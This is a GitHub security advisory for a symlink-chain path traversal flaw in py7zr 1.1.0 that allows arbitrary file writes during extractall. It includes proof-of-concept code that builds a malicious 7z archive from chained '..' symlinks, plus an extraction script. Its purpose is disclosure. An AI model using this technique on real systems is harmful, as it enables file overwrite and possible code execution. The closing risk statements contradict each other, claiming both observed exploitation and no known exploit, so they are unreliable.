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GHSA-q6rc-2cgv-63h7
No affected components available
Summary
There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.
Details
The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.
PoC
Construct PoC Archive File
The following pseudo-code illustrates the vulnerable logic.
def create_sevenz_exp(output_dir: str):
filename = "archive.7z"
file_path = output_dir + filename
with py7zr.SevenZipFile(file_path, 'w') as archive:
archive.writestr("Some Text", "dir0/someFile.txt")
add_symlink(archive, "dir1", "dir0/..")
add_symlink(archive, "dir2", "dir1/..")
add_symlink(archive, "dir3", "dir2/..")
add_symlink(archive, "dir4", "dir3/..")
add_symlink(archive, "dir5", "dir4/..")
add_symlink(archive, "dir6", "dir5/..")
add_symlink(archive, "dir7", "dir6/..")
add_symlink(archive, "dir8", "dir7/..")
add_symlink(archive, "myTmp", "dir8/tmp")
archive.writestr("Malicious Text\n", "myTmp/poc.txt")
Unpack the archive
Use common decompression methods, then extract the archive.
import sys
import os
import py7zr
def extract_7z(seven_path, output_dir):
os.makedirs(output_dir, exist_ok=True)
with py7zr.SevenZipFile(seven_path, mode='r') as z:
z.extractall(path=output_dir)
print(f"Extracted '{seven_path}' to '{output_dir}'")
if __name__ == "__main__":
seven_file = sys.argv[1]
base_name = os.path.splitext(os.path.basename(seven_file))[0]
output = base_name + "_sevenz_output"
extract_7z(seven_file, output)
Impact
<img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" />After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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